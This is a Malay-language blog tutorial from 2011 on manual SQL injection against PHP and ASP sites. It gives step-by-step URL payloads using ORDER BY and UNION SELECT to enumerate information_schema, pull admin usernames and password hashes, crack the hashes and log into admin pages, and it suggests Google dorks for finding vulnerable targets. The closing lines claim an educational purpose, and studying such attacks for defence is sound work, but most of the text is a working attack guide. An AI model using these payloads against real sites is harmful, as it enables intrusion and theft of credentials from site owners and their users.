Thursday 8 December 2011

SQL injection (Manual SQLi Tutorial)


5 perkara yang anda perlu tahu tentang SQLi

- Asas injection
- Mendapatkan Data
- Keluarkan Data
- Kumpul Maklumat
- Kumpul Data

Asas Injection
- Seperti yang semua tahu , jika ingin melakukan SQL injection , semestinya laman tersebut menggunakan Database. Ini kerana melalui injection sql ini adalah untuk mendapatkan maklumat melalui database tersebut.
- Cara mudah mengesan laman yang menggunakan sql ialah jika diperhatikan pada URL ( alamat web ) , ianya mempunyai perimeter id= seperti :
http://www.contoh.my/index.php?id=1
- "index.php" merupakan nama file dan "id=1" merupakan perimeter bagi sesuatu info pada laman tersebut.
- Dengan menggunakan perintah :

$result = $db -> query ("SELECT * FROM `content` WHERE id=" . $_GET ['id']); 
- Kebiasaanya laman akan diperintahkan melalui :
SELECT * FROM `content` WHERE id=1 
- Ini akan membolehkannya disuntik ( inject ) pada perimeter id=1 . Contohnya :
 http://www.contoh.my/index.php?id=1'
- Maka anda akan perhatikan keluar error seperti :
Fatal error: Call to a member function fetch_row() on a non-object in /home/sites/contoh.my/public_html/index.php on line 50 
- Namunpun begitu , bukan semua laman akan mengeluarkan error jenis ini, jika anda perhatikan perbezaan laman sebelum dan selepas di inject , maka ia berpotensi di inject.
- Jadi , sehingga kini Kami harap anda semua faham bagaimana untuk mengenalpasti laman yang berpotensi di inject .

Mendapatkan Data
- Dibahagian ini , Kami akan menerangkan secara lalu bagaimana mendapatkan Data melalui query ( suntikan / injection )
- Setelah kita mendapati sesuatu laman mempunyai vuln untuk sql injection , anda perlu mendapatkan maklumat jumlah table dan column dalam bagi sesuatu database.
- Dengan menggunakan arahan ORDER BY akan memberikan maklumat tersebut.
- Anda harus meneka jumlah table dengan perhatikan error yang muncul. Jika belum keluar error maka jumlah table masih banyak.
- Contohnya :
http://www.contoh.my/index.php?id=1+ORDER+BY+1--
http://www.contoh.my/index.php?id=1+ORDER+BY+2--
http://www.contoh.my/index.php?id=1+ORDER+BY+3--
http://www.contoh.my/index.php?id=1+ORDER+BY+4-- <--Ada error
- Jadi , jumlah table ialah 3


Keluarkan Data
- Setelah kita mengetahui jumlah table , maka kita perlu mengeluarkan data melalui arahan UNION SELECT
- Contoh laman tadi mempunyai 3 table.
http://www.contoh.my/index.php?id=1+ORDER+BY+3--
- Maka , tambahhkan arahan UNION SELECT. Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,2,3-- 
- Selepas menjalankan arahan diatas , akan muncul no 1 atau 2 dll bagi menunjukkan no ajaib yang membolehkan arahan dijalankan keatas no tu pula .
- Contohnya untuk laman ini keluar no 2


Kumpul Maklumat
- Setelah kita mendapat no ajaib iaitu 2 , disini kita akan dapatkan maklumat versi / database yang digunakan laman ini.
- Jadi , anda hanya perlu tambah arahan version() pada no ajaib , maka akan keluar versi / database yang digunakan. Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,version(),3-- 
- Maka versi database akan muncul seperti 4.X.X atau 5.X.X , jika database laman tersebut menggunakan versi 5 , maka anda boleh guna default database name nya iaitu information_schema .
- Jadi , database name kita dah dapat , seterusnya kita dapatkan table name pula melalui arahan TABLE_NAME. Arahan ini diletakkan di no ajaib tadi ( 2 )
- Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,TABLE_NAME,3-- 
- Dan tambahkan database name kat belakang menjadi :
 http://www.contoh.my/index.php?id=1+UNION+SELECT+1,TABLE_NAME,3+from+information_schema.tables--
- Maka anda akan dapat lihat table yang ada dalam database laman tersebut.


Kumpul Data
- Jadi sekarang anda sudah dapat lihat table yang ada dalam laman tersebut , langkah terakhir ini ialah untuk mengumpul Data daripada table.
- Jadi , perkara asas yang biasanya penggodam lakukan ialah mencari table yang mengandungi maklumat Admin / users bagi membolehkannya mendapatkan maklumat login ( email , password )
- Gunakan arahan group_concat(table_name) pada no ajaib ( 2 ) bagi mengeluarkan maklumat dalam table tersebut.
- Contohnya :
  http://www.contoh.my/index.php?id=1+UNION+SELECT+1,group_concat(table_name),3+from+information_schema.tables--
- Dan gantikan +from+information_schema.tables+where+table_schema=database()-- kat belakang. Contohnya :
 http://www.contoh.my/index.php?id=1+UNION+SELECT+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()--
- Kali ini anda akan perhatikan folder table yang mengandungi data didalamnya. Contohnya anda lihat table yang bernama " Admin " , sila convert table name " Admin " tersebut kepada HEXADECIMEL disini
- Setelah anda convert , sila masukkan arahan group_concat(column_name) kat no ajaib tadi ( 2 ). Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,group_concat(column_name),3+from+information_schema.tables+where+table_schema=database()--
 - Dan kemudian tambahkan arahan +from+information_schema.columns+where+table_name=0xHEXADECIMEL-- . Contohnya table name tadi " Admin " , setelah di convert menjadi 41444D494E . Maka arahan akan jadi seperti berikut :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,group_concat(column_name),3+from+information_schema.columns+where+table_name=0x41444D494E--
- Sekarang kita berada dalam folder ADMIN , jadi kita akan keluarkan data melalui arahan concat_ws(0x3a,"nama column yang terkandung dlm table ADMIN") . Contohnya table yang ada ialah "username" dan "password" , maka arahan akan jadi seperti berikut :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,concat_ws(0x3a,"username,password"),3+from+information_schema.columns+where+table_name=0x41444D494E--
- Kemudian gantikan arahan belakang kepada +from+Admin-- bagi menjayakan arahan untuk mendapatkan maklumat daripada table ADMIN. Maka arahan akan seperti berikut :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,concat_ws(0x3a,"username,password"),3+from+Admin--
- Dan sekarang anda akan lihat data "username" dan "password" seperti arahan yang kita jalankan.
- Password berkemungkinan besar dalam bentuk hash , jadi anda perlu decrypt untuk mendapatkan plain text nya seterusnya mendapatkan login page admin tersebut.

Apa yang Kami tunjukkan disini ialah melalui 5 langkah sahaja penggodam berjaya mendapatkan maklumat melalui error sql. Namunpun begitu , masih terdapat beberapa arahan lain yang boleh digunakan pada masa tertentu dan tujuan tertentu.

Kami cuba memaparkan cara penggodam mendapatkan data melalui teknik SQLi , jadi ini akan membuka mata semua pihak bagaimana mereka melakukan kerja mereka. Harap dengan info ini maka pihak tertentu akan cuba manfaatkannya kearah kebaikan dan diselangi dengan tujuan pembelajaran.

Info :
1 - Anda boleh gunakan pada file jenis .php dan juga .asp juga
2 - Gunakan dork google untuk memudahkan pencarian perimeter

No comments:

Electricity Lightning